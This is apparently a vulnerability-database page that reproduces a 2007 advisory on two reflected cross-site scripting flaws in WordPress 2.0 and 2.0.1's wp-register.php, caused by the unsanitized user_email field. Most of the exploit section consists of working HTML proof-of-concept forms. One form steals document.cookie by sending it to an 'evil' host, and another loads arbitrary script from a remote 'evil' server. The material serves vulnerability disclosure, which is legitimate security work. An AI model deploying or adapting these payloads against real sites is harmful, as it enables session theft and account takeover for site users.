2 vanilla XSS on Wordpress "wp-register.php"

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052882 漏洞类型
发布时间 2007-09-27 更新时间 2007-09-27
CVE编号 CVE-2007-5105
CVE-2007-5106
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2007090091
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
There are two vanilla XSS on ‘wp-register.php’. Only early versions of
the 2.0 branch are affected.

Version 2.0 is vulnerable through the ‘user_login’ and ‘user_email’ parameters.

Version 2.0.1 filters the ‘user_login’ parameter but is still
vulnerable through the ‘user_email’ parameter (half-baked fix?).

The XSS is only exploitable through a ‘POST’ request.

WordPress 2.0.4 is not vulnerable, so I’m assuming anything after this
is not vulnerable either (unless there is a comeback of course).

Note: user registration is disabled by default. Only sites with ‘user
registration’ enabled are affected.

line 16 and 17 on version 2.0.1 :

$user_login = sanitize_user( $_POST[’user_login’] );
$user_email = $_POST[’user_email’];

we can notice that ‘user_login’ is sanitized but ‘user_email’ is not
and eventually gets printed without further filtering on line 114:

<?php echo $user_email; ?>

I contacted the vendor and asked them if these issues had been fixed
silently since I couldn&#8217;t find them documented anywhere (even though
they had been fixed from version 2.0.4 on). However, I got NO response
from the vendor whatsoever. 

simple PoC:
<html>
<head></head>
<body>

<form method="post" action="http://target/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value=&apos;"><script>alert(1)</script>&apos; />
<input type="hidden" name="user_email" id="user_email"
value=&apos;"><script>alert(2)</script>&apos; />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

will popup &#8216;1&#8242; and &#8216;2&#8242; on version 2.0, and only &#8216;2&#8242; on version 2.0.1.

cookie theft PoC:
<html>
<head></head>
<body>

<form method="post"
action="http://target/wordpress/wp-register.php#location=&apos;http://evil/?&apos;+document.cookie"
>
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="anyusername" />
<input type="hidden" name="user_email" id="user_email"
value=&apos;"><script>eval(location.hash.substr(1))</script>&apos; />

</form>
<script>document.forms[0].submit()</script>
</body>
</html>

unrestricted script insertion from third-party site
(we prove we can
inject ANY JS):

<html>
<head></head>
<body>

<form method="post" action="http://victim/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="test" />
<input type="hidden" name="user_email" id="user_email"
value=&apos;"><SCRIPT src=http://evil/jsfile></SCRIPT>&apos;>
</form>
<script>document.forms[0].submit()</script>
</body>
</html>